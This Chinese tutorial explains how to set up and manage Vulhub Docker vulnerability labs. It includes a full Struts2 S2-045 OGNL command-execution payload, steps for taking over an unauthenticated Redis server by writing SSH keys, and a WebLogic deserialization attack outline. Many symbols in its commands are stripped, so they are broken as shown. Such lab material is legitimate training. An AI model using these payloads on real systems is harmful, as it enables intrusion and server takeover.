Vulhub实战指南:基于Docker的漏洞复现环境搭建与深度应用
1. 项目概述为什么我们需要一个“全能型”漏洞复现环境在安全研究、渗透测试或者日常的漏洞分析工作中我们经常会遇到一个尴尬的局面看到一个新披露的漏洞兴致勃勃地想动手复现一下结果光是搭建环境就耗去大半天各种依赖冲突、版本不匹配、配置错误层出不穷最后漏洞没复现出来人先被环境搞崩溃了。这就像你想研究一辆车的发动机结果连把车发动起来都费劲。Vulhub 的出现就是为了解决这个“环境地狱”的痛点。简单来说Vulhub 是一个基于 Docker 的开源漏洞环境集合。它把一个个经典的、热门的漏洞连同其运行所需的所有组件操作系统、中间件、数据库、Web应用等打包成一个独立的 Docker 镜像。你只需要一条docker-compose up -d命令就能在本地瞬间拉起一个完整的、可交互的漏洞靶场。它不是一个单一的靶机而是一个“漏洞博物馆”里面陈列着从 Web 到系统从古老到新兴的各种漏洞样本。我之所以称它为“全能型”是因为它覆盖了漏洞复现的完整生命周期从环境搭建、漏洞触发、原理分析到修复验证它都能提供标准化的“实验台”。对于安全从业者无论是想快速验证一个 PoC 的有效性还是想深入学习某个漏洞的利用手法Vulhub 都是效率神器。对于学习者它提供了最贴近真实场景的练习环境避免了在虚拟机里反复折腾的麻烦。这个实战指南我将带你从零开始不仅把 Vulhub 用起来更要把它用透打造一个真正属于你自己的、高效且可扩展的漏洞研究平台。2. 环境准备与核心工具链解析2.1 基础环境Docker 与 Docker Compose 的选型与安装Vulhub 的基石是 Docker所以第一步必须把 Docker 环境准备好。这里我强烈建议使用 Linux 系统无论是 Ubuntu、CentOS 还是 Kali原生支持 Docker 的性能和稳定性最好。Windows 和 macOS 虽然也能通过 Docker Desktop 运行但在资源消耗和网络配置上可能会遇到一些额外的“小麻烦”。Docker 安装要点对于 Ubuntu/Debian 系官方仓库的 Docker 版本可能较旧。我习惯使用 Docker 官方提供的安装脚本一键安装最新稳定版curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh安装后务必将当前用户加入docker组避免每次命令都要加sudosudo usermod -aG docker $USER执行后需要注销并重新登录这个组权限变更才会生效。很多人忘了这一步导致后续命令权限报错。Docker Compose 的版本选择Vulhub 的编排文件依赖于 Docker Compose。这里有个关键点务必使用 Docker Compose V2。V1 已经停止维护且一些新特性不支持。在较新的 Docker Desktop 中docker-compose命令实际上是一个指向docker compose注意中间没有横线的软链接这就是 V2 版本。在 Linux 上你可以通过以下命令安装/升级到 V2# 下载最新的 Docker Compose V2 二进制文件 DOCKER_CONFIG${DOCKER_CONFIG:-$HOME/.docker} mkdir -p $DOCKER_CONFIG/cli-plugins curl -SL https://github.com/docker/compose/releases/latest/download/docker-compose-linux-x86_64 -o $DOCKER_CONFIG/cli-plugins/docker-compose chmod x $DOCKER_CONFIG/cli-plugins/docker-compose验证安装docker compose version应显示Docker Compose version v2.x.x。注意国内从 Docker Hub 拉取镜像可能会非常慢甚至失败。务必配置镜像加速器。编辑/etc/docker/daemon.json如果不存在则创建加入国内镜像源例如{ registry-mirrors: [ https://docker.mirrors.ustc.edu.cn, https://hub-mirror.c.163.com ] }然后重启 Docker 服务sudo systemctl restart docker。这个步骤能为你节省大量等待时间。2.2 Vulhub 项目获取与目录结构初探环境就绪后获取 Vulhub 本体非常简单git clone https://github.com/vulhub/vulhub.git cd vulhub克隆完成后浏览一下目录结构这是理解 Vulhub 如何组织漏洞环境的关键。vulhub/ ├── README.md ├── activemq/ # 每个目录代表一个漏洞应用 │ ├── CVE-2016-3088 # 每个子目录代表一个具体的CVE漏洞环境 │ │ ├── docker-compose.yml # 核心编排文件 │ │ ├── README.md # 漏洞说明和复现指南 │ │ └── ... # 可能包含漏洞利用脚本、Web源码等 │ └── ... ├── apache/ ├── appweb/ └── ... (数十个应用分类)这种结构非常清晰。每个漏洞环境都是自包含的docker-compose.yml定义了需要启动哪些服务比如一个带漏洞的 Web 服务一个后端数据库以及它们的配置、网络和依赖关系。README.md则是这个漏洞的“实验手册”通常包含漏洞描述、影响版本、复现步骤和修复建议。一个重要的实操心得在启动任何环境前先花两分钟阅读对应的README.md。它能告诉你这个环境会映射哪些端口到宿主机漏洞的触发条件是什么有时还会提供现成的利用脚本。这能避免你启动后对着 IP 和端口发呆不知道下一步该干嘛。3. 漏洞环境启动与管理实战3.1 启动你的第一个漏洞环境以 CVE-2017-12615 为例我们找一个经典的漏洞来上手Apache Tomcat 的 CVE-2017-12615远程代码执行。它位于tomcat/CVE-2017-12615目录。cd tomcat/CVE-2017-12615 ls -la你会看到docker-compose.yml和README.md。先看编排文件内容了解其结构version: 2 services: tomcat: image: vulhub/tomcat:8.5.19 ports: - 8080:8080 # 将容器内的8080端口映射到宿主机的8080端口非常简单就是拉取一个包含漏洞的特定版本 Tomcat 镜像并把它的 8080 端口暴露出来。现在在该漏洞目录下执行启动命令docker compose up -d-d参数表示后台运行。你会看到 Docker 开始拉取镜像如果本地没有然后创建并启动容器。这个过程通常很快。启动完成后使用docker compose ps查看服务状态确认容器是Up状态。然后在浏览器访问http://你的宿主机IP:8080就能看到 Tomcat 的默认主页了。环境已经就绪。3.2 核心操作命令全解析仅仅启动和停止是不够的高效管理这些环境需要掌握一套命令组合。启动/停止/重启特定环境docker compose up -d启动后台模式。docker compose down停止并移除容器、网络。这是最常用的清理命令会释放资源。docker compose stop停止容器但不移除。可以用start重新启动。docker compose restart重启服务。重要区别down和stop。如果你只是暂时不用这个环境过会儿还要继续实验用stop。如果你实验完成想彻底清理掉这个环境包括产生的数据一定要用down。否则那些停止的容器依然会占用磁盘空间。查看环境状态与日志docker compose ps查看本目录下定义的服务状态。docker compose logs [service-name]查看某个服务的日志。不加服务名则查看所有。排查环境启动失败或漏洞利用不成功时日志是首要查看点。docker compose logs -f tomcat-f参数可以实时跟踪日志输出在动态调试时非常有用。进入容器内部进行调试有时需要查看容器内的文件结构、修改配置或执行命令。docker compose exec tomcat /bin/bash这条命令会以交互模式进入名为tomcat的服务容器内部。你可以像操作一台 Linux 主机一样查看 Web 根目录、进程、网络连接等。这对于深入理解漏洞上下文至关重要。一键清理所有 Vulhub 环境如果你同时实验了很多漏洞想一次性清理所有由 Vulhub 启动的容器可以使用这个命令在 Vulhub 根目录或任意子目录均可docker compose down但注意这条命令只作用于当前目录下的docker-compose.yml。要清理所有需要遍历所有启动过的目录去执行down或者使用更强大的 Docker 命令# 停止并删除所有正在运行的容器谨慎使用会影响到非Vulhub的容器 # docker stop $(docker ps -aq) docker rm $(docker ps -aq) # 更安全的方法只删除Vulhub相关的容器通过镜像名过滤 docker ps -a | grep vulhub | awk {print $1} | xargs docker rm -f我建议为 Vulhub 环境单独分配一个 Docker 网络这样管理起来更隔离、更安全。3.3 网络与端口冲突的解决之道Vulhub 的很多环境默认都映射宿主机 80、8080、3306 等常见端口。同时启动多个环境时端口冲突是必然遇到的问题。解决方案1修改编排文件最直接的方法是编辑docker-compose.yml更改ports映射。例如将8080:8080改为8081:8080这样容器内的 8080 端口就被映射到了宿主机的 8081 端口。解决方案2使用 Docker 网络隔离更优雅的方式是使用自定义的 Docker 网络并让 Vulhub 环境连接到这个网络。这样环境之间可以通过容器名互相访问而无需将所有端口都暴露给宿主机。# 1. 创建一个自定义网络 docker network create vulhub-net # 2. 在 docker-compose.yml 中指定网络 # version: 2 # services: # tomcat: # ... # networks: # - vulhub-net # networks: # vulhub-net: # external: true然后你可以启动另一个环境比如一个数据库也连接到vulhub-net它们就可以直接通过服务名如tomcat、mysql进行通信模拟更真实的网络环境。解决方案3动态端口映射在docker-compose.yml中只写ports: - 8080只指定容器端口Docker 会随机分配一个宿主机端口。通过docker compose ps可以查看实际映射的端口号。这适合临时测试避免冲突。4. 漏洞复现实战案例深度剖析掌握了环境管理我们进入核心环节动手复现。我挑选两个有代表性的漏洞带你走完从环境启动到漏洞验证的完整流程。4.1 案例一Apache Struts2 S2-045 (CVE-2017-5638) 远程代码执行这是一个影响极大的 Web 框架漏洞。进入对应目录cd struts2/s2-045。启动环境docker compose up -d。环境会启动一个带有漏洞的 Struts2 演示应用。理解漏洞点阅读README.md。漏洞源于对上传的Content-Type头值进行了错误的 OGNL 表达式解析导致攻击者可以在该头中注入恶意代码。复现攻击根据指南我们使用curl命令构造攻击载荷。这里我详细解释一下命令curl -v -X POST http://target:8080/upload.action \ -H Content-Type: %{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdwhoami).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())}-v显示详细过程便于调试。-X POST指定 POST 方法。-H Content-Type: ...这是攻击的核心在Content-Type头部注入了一大段 OGNL 表达式。表达式最终执行了#cmdwhoami并尝试获取命令执行结果。你可以将whoami替换为其他系统命令如id、ls -la /等。结果验证如果漏洞存在且利用成功命令whoami的结果会直接返回在 HTTP 响应体中。你可以看到容器内进程的执行用户通常是root。深入分析此时你可以docker compose exec struts2 bash进入容器查看/usr/local/tomcat/webapps/ROOT/下的应用代码或者查看 Tomcat 日志/usr/local/tomcat/logs/catalina.out观察攻击触发的详细过程。这比单纯看到root输出更有学习价值。4.2 案例二Redis 未授权访问漏洞 (CNVD-2015-07557)这个漏洞展示了系统服务层面的风险。进入目录cd redis/unauthorized。启动环境docker compose up -d。这会启动一个配置了空密码或弱密码的 Redis 服务。理解漏洞点Redis 默认监听 6379 端口如果未设置认证密码 (requirepass)且绑定在0.0.0.0或未做防火墙限制则任何能访问到该端口的客户端都可以直接执行 Redis 命令。复现攻击使用redis-cli直接连接宿主机需要安装redis-toolsredis-cli -h your_host_ip -p 6379连接成功后无需认证直接执行命令如info查看服务器信息keys *查看所有键甚至可以通过config set dir /root/.ssh和config set dbfilename authorized_keys配合set命令写入 SSH 公钥从而获取服务器权限。Vulhub 的 README 详细演示了这种攻击链。漏洞利用的延伸思考这个环境完美还原了内网中一个配置不当的 Redis 服务。你可以练习如何通过 Redis 写入 Webshell如果 Web 目录可写或者利用 Redis 主从复制机制进行 RCE。更重要的是你要思考如何检测内网中存在此类问题的 Redis 实例以及如何加固——设置强密码、绑定本地 IP、重命名危险命令。4.3 案例三WebLogic 反序列化漏洞 (CVE-2017-10271)这是一个 Java 反序列化漏洞的典型代表。进入目录cd weblogic/CVE-2017-10271。启动环境docker compose up -d。WebLogic 启动较慢需要耐心等待一两分钟可以通过docker compose logs -f weblogic查看启动进度直到看到Server state changed to RUNNING。漏洞原理WebLogic 的wls-wsat组件提供的 WebService 接口在处理 XML 数据时使用了可被恶意构造的 XMLDecoder 进行反序列化导致远程代码执行。使用工具复现对于这种有公开稳定利用工具的漏洞手动构造 payload 效率低。我们可以使用集成化的漏洞利用框架如ysoserial生成 payload并用curl发送或者直接使用Metasploit、nuclei等工具。Vulhub 的 README 通常会给出最直接的 PoC。例如使用一个 Python 脚本通常社区已有现成向http://target:7001/wls-wsat/CoordinatorPortType发送特定的 XML payload。复现后的动作成功执行命令后例如touch /tmp/success务必进入容器验证docker compose exec weblogic bash然后ls -la /tmp/确认文件是否创建成功。这是严谨的验证步骤。5. 高级技巧与自定义环境构建当你熟练使用 Vulhub 后就不会满足于仅仅复现。你会想修改它、扩展它甚至构建自己的漏洞环境。5.1 修改现有环境进行深度研究Vulhub 的环境镜像通常基于官方镜像构建。你可以找到每个漏洞目录下的Dockerfile如果没有则说明直接使用了上游镜像。如果你想研究漏洞的底层细节比如调试代码在容器内安装gdbserver、jdbJava 调试或pdbPython 调试等工具。修改配置想看看某个配置项打开或关闭后漏洞是否还能触发。升级/降级组件测试漏洞的版本影响范围。这时你需要修改Dockerfile或docker-compose.yml。例如在Dockerfile末尾加上RUN apt-get update apt-get install -y gdb vim来安装调试工具。修改后在目录下执行docker compose build重新构建镜像再docker compose up -d启动。5.2 构建自定义漏洞环境假设你想为一个内部发现的、或公开但 Vulhub 尚未收录的漏洞构建环境。规划环境明确漏洞依赖的软件、版本、配置。例如一个基于 ThinkPHP 5.0.23 的 RCE 漏洞。编写 Dockerfile以官方 PHP-Apache 镜像为基础。FROM php:5.6-apache # 设置工作目录 WORKDIR /var/www/html # 安装可能需要的扩展根据漏洞上下文 RUN docker-php-ext-install mysqli pdo_mysql # 复制有漏洞的 ThinkPHP 源码到容器 COPY ./thinkphp-5.0.23 /var/www/html/ # 设置正确的文件权限 RUN chown -R www-data:www-data /var/www/html编写 docker-compose.ymlversion: 3 services: web: build: . # 使用当前目录的 Dockerfile 构建 ports: - 8080:80 # 可以链接数据库等其他服务 # depends_on: # - db # db: # image: mysql:5.7 # environment: # MYSQL_ROOT_PASSWORD: root编写 README.md详细描述漏洞信息、复现步骤、利用方法。这是环境价值的体现。测试与提交在本地测试环境可以正常启动、漏洞可以复现。如果你愿意可以向 Vulhub 官方仓库提交 Pull Request贡献你的环境。5.3 与渗透测试工具链集成Vulhub 环境是绝佳的“靶场”可以无缝集成到你的渗透测试工作流中。作为扫描器目标将启动的 Vulhub 环境 IP 和端口添加到AWVS、Nessus、Xray或nuclei的扫描目标中测试你的扫描器能否准确识别这些漏洞。作为漏洞利用练习场在Metasploit或Cobalt Strike中将 Vulhub 环境作为目标练习使用对应的 exploit 模块并尝试获取 shell、进行内网横向移动等后续操作。自动化复现脚本你可以编写 Python 脚本调用 Docker API 或直接执行 shell 命令实现一键启动指定漏洞环境、运行 PoC、验证结果、并生成报告的全流程自动化。这对于批量验证或教学演示非常有用。6. 常见问题、故障排查与性能优化6.1 启动失败与容器异常这是新手最常遇到的问题通常有以下几个原因问题现象可能原因排查步骤与解决方案docker compose up报错Cannot connect to the Docker daemonDocker 服务未启动或当前用户无权限。1. 执行sudo systemctl status docker检查服务状态。2. 如果未运行sudo systemctl start docker。3. 确认当前用户已在docker组见 2.1 节并重新登录。拉取镜像超时或失败网络连接 Docker Hub 不畅。1. 确认已配置镜像加速器见 2.1 节。2. 尝试docker pull image_name:tag手动拉取看具体报错。3. 可尝试更换其他镜像加速源。容器启动后立即退出 (Exited)应用本身启动失败如配置文件错误、端口冲突、依赖服务未就绪。1.首要命令docker compose logs [服务名]查看详细错误日志。2. 检查docker-compose.yml中的端口是否被占用。3. 对于依赖数据库的服务检查数据库容器是否先启动并健康。访问服务超时或连接拒绝容器已运行但服务未监听正确端口或防火墙限制。1.docker compose ps确认容器状态为Up。2.docker compose exec service_name netstat -tlnp查看容器内进程监听的端口。3. 检查宿主机防火墙是否放行了映射的端口如 8080。漏洞 PoC 执行不成功环境版本不对、PoC 用法错误、网络问题。1. 仔细核对 README 中的版本信息和你启动的环境是否一致。2. 进入容器手动检查应用配置文件、日志文件。3. 使用curl -v或 Burp Suite 抓包确认 HTTP 请求是否按预期发送。6.2 磁盘空间管理频繁地拉取镜像、启动停止容器会占用大量磁盘空间。需要定期清理。清理无用镜像删除所有未被容器使用的镜像悬空镜像。docker image prune -a执行前请确认这会删除所有未被任何容器引用的镜像包括一些你可能想保留的中间镜像。清理停止的容器docker container prune清理构建缓存如果你自定义构建过镜像会留下构建缓存。docker builder prune查看磁盘占用docker system df这个命令可以清晰看到镜像、容器、数据卷和构建缓存各自占用的空间。6.3 性能优化建议为 Docker 分配足够资源在 Docker DesktopMac/Windows设置中或通过 Docker Daemon 配置为 Docker 分配更多的 CPU 核心和内存建议至少 4GB。运行多个 Java 应用如 WebLogic、Jenkins时尤其需要。使用 SSD 硬盘Docker 的镜像和容器操作都是 I/O 密集型的SSD 能极大提升拉取镜像和容器启动速度。限制资源使用在docker-compose.yml中可以为服务设置资源限制防止某个漏洞环境占用过多资源影响宿主机。services: weblogic: image: ... deploy: resources: limits: cpus: 1.0 # 限制使用1个CPU核心 memory: 2G # 限制使用2GB内存使用 .dockerignore 文件在自定义构建镜像时在目录下创建.dockerignore文件排除不必要的文件如.git,README.md, 临时文件可以加速构建过程并减小镜像体积。打造一个顺手的 Vulhub 环境就像是为自己配备了一个随时可用的漏洞实验室。它消除了环境搭建的噪音让你能聚焦于漏洞原理本身。从“一键复现”开始逐步深入到修改环境、集成工具、甚至自建靶场这个过程本身就是安全研究能力的一次次锤炼。记住工具的价值在于使用它的人。希望这份指南能帮你把 Vulhub 这个利器用得更加得心应手。